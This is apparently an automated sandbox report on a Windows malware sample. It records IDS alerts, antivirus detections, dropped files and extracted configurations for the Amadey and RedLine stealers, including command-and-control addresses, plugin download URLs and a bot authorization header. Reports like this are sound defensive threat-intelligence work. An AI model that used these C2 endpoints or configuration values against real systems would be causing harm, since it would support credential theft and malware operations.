2024-12-13T08:19:05.196213+0100	2019714	2	Potentially Bad Traffic	192.168.2.11	49761	185.81.68.147	80	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:19:04.468315+0100	2046045	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:20:07.300584+0100	2856147	1	A Network Trojan was detected	192.168.2.11	49939	185.81.68.147	80	TCP

ETPRO MALWARE Amadey CnC Activity M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:20:10.326543+0100	2856148	1	A Network Trojan was detected	192.168.2.11	49946	185.81.68.148	80	TCP
2024-12-13T08:20:16.971319+0100	2856148	1	A Network Trojan was detected	192.168.2.11	49970	185.81.68.148	80	TCP
2024-12-13T08:20:23.121550+0100	2856148	1	A Network Trojan was detected	192.168.2.11	49998	185.81.68.148	80	TCP
2024-12-13T08:20:29.362119+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50017	185.81.68.148	80	TCP
2024-12-13T08:20:35.799427+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50036	185.81.68.148	80	TCP
2024-12-13T08:20:42.159878+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50056	185.81.68.148	80	TCP
2024-12-13T08:20:48.363593+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50073	185.81.68.148	80	TCP
2024-12-13T08:20:54.595635+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50080	185.81.68.148	80	TCP
2024-12-13T08:21:01.237510+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50088	185.81.68.148	80	TCP
2024-12-13T08:21:07.535897+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50095	185.81.68.148	80	TCP
2024-12-13T08:21:13.721615+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50103	185.81.68.148	80	TCP
2024-12-13T08:21:20.018768+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50110	185.81.68.148	80	TCP
2024-12-13T08:21:26.706061+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50118	185.81.68.148	80	TCP
2024-12-13T08:21:33.179320+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50126	185.81.68.148	80	TCP
2024-12-13T08:21:39.383695+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50134	185.81.68.148	80	TCP
2024-12-13T08:21:46.208977+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50142	185.81.68.148	80	TCP
2024-12-13T08:21:52.613527+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50149	185.81.68.148	80	TCP
2024-12-13T08:21:59.065368+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50156	185.81.68.148	80	TCP
2024-12-13T08:22:05.267999+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50165	185.81.68.148	80	TCP
2024-12-13T08:22:11.721973+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50171	185.81.68.148	80	TCP
2024-12-13T08:22:18.158976+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50179	185.81.68.148	80	TCP
2024-12-13T08:22:24.361889+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50186	185.81.68.148	80	TCP
2024-12-13T08:22:30.646659+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50194	185.81.68.148	80	TCP
2024-12-13T08:22:37.002261+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50201	185.81.68.148	80	TCP
2024-12-13T08:22:43.300199+0100	2856148	1	A Network Trojan was detected	192.168.2.11	50209	185.81.68.148	80	TCP

ETPRO MALWARE Amadey CnC Activity M6

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:20:18.626119+0100	2856150	1	A Network Trojan was detected	192.168.2.11	49982	185.81.68.148	80	TCP
2024-12-13T08:20:18.870922+0100	2856150	1	A Network Trojan was detected	192.168.2.11	49983	185.81.68.148	80	TCP

ETPRO MALWARE Amadey CnC Activity M7

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:20:18.474964+0100	2856151	1	A Network Trojan was detected	192.168.2.11	49978	185.81.68.148	80	TCP
2024-12-13T08:20:18.503049+0100	2856151	1	A Network Trojan was detected	192.168.2.11	49977	185.81.68.148	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:20:07.277034+0100	2803305	3	Unknown Traffic	192.168.2.11	49938	185.81.68.147	80	TCP
2024-12-13T08:20:13.878638+0100	2803305	3	Unknown Traffic	192.168.2.11	49958	185.81.68.147	80	TCP

ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:20:17.125958+0100	2855239	1	A Network Trojan was detected	192.168.2.11	49972	185.81.68.147	80	TCP
2024-12-13T08:20:17.363862+0100	2855239	1	A Network Trojan was detected	192.168.2.11	49973	185.81.68.147	80	TCP
2024-12-13T08:20:18.626119+0100	2855239	1	A Network Trojan was detected	192.168.2.11	49982	185.81.68.148	80	TCP
2024-12-13T08:20:18.870922+0100	2855239	1	A Network Trojan was detected	192.168.2.11	49983	185.81.68.148	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.81.68.147/46122658-3693405117-2476756634-1003	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.phpb8b	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.php#	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.phpsK1bRhSyTkkD9QYQDw4TYWGHLCsdncEYUAc	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.phps	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/wsys	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/Plugins/cred64.dll	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.phpJU:	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/Plugins/cred64.dll$	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/index.phpHo5	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/Fvu5jh4DbS/index.php	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/7vhfjke3/Plugins/clip64.dll	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.phpndows	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/gfx.exe	Avira URL Cloud: Label: malware
Source: http://185.81.68.148/J	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php(	Avira URL Cloud: Label: phishing
Source: http://185.81.68.148/8Fvu5jh4DbS/index.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000005.00000003.1588276592.000000000A1EE000.00000004.00000001.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.81.68.148/8Fvu5jh4DbS/index.php", "Version": "5.10", "Install Folder": "ee29ea508b", "Install File": "Gxtuum.exe"}
Source: 17.0.6148.tmp.ssg.exe.7b0000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["185.81.68.147:1912"], "Bot Id": "eewx", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\6B1D.tmp.update.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: mggoBrtk9t.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6B1D.tmp.update.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: mggoBrtk9t.exe

Joe Sandbox ML: detected

Source: mggoBrtk9t.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525826134.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526540586.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdbMM source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514700090.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_socket.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: 56C7.tmp.ctx.exe, 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1521485641.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514287151.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_hashlib.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524266099.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525412258.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526711457.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_ctypes.pdb source: 56C7.tmp.ctx.exe, 00000010.00000002.1552781026.00007FFEF6561000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1516604670.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524630486.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1523917344.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_bz2.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525233426.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514393425.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512340032.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1552964109.00007FFEF6C9E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1522257553.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514055040.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514520918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525045977.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\select.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1522655585.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: 56C7.tmp.ctx.exe, 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512340032.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1552964109.00007FFEF6C9E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1527207140.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1515940882.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524081163.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1521949636.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514165152.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524822647.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\python38.pdb source: 56C7.tmp.ctx.exe, 00000010.00000002.1551864143.00007FFEDDACD000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526087682.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1520566936.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1522426351.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1521751847.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1527462730.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1523349251.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524425384.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1523632509.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514869646.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526341580.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1517867226.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1517222458.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\unicodedata.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525608468.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526969179.000001B34401F000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	11_2_00007FF7102C79B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C85A0 FindFirstFileExW,FindClose,	11_2_00007FF7102C85A0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00007FF7102E0B84
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C85A0 FindFirstFileExW,FindClose,	16_2_00007FF7102C85A0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	16_2_00007FF7102C79B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_00007FF7102E0B84
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE23303C FindFirstFileExW,FindNextFileW,FindClose,	16_2_00007FFEEE23303C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE233280 FindFirstFileExW,FindNextFileW,FindClose,	16_2_00007FFEEE233280
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004EF661 FindFirstFileExW,	18_2_004EF661
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0033F661 FindFirstFileExW,	19_2_0033F661
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0033F661 FindFirstFileExW,	20_2_0033F661

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.11:49760 -> 185.81.68.147:1912
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.11:49760 -> 185.81.68.147:1912
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 185.81.68.147:1912 -> 192.168.2.11:49760
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 185.81.68.147:1912 -> 192.168.2.11:49760
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.11:49939 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:49946 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.11:49978 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.11:49973 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:49970 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:49998 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.11:49983 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.11:49983 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50036 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50017 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50056 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50073 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50095 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50088 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50103 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50126 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50142 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50165 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50171 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50080 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50186 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50194 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50110 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50118 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50179 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50201 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50156 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50149 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50209 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.11:49972 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.11:49977 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.11:49982 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856150 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M6 : 192.168.2.11:49982 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.11:50134 -> 185.81.68.148:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.81.68.147 80
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.81.68.148 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 185.81.68.148
Source: Malware configuration extractor	URLs: 185.81.68.147:1912

Source: global traffic

TCP traffic: 192.168.2.11:49760 -> 185.81.68.147:1912

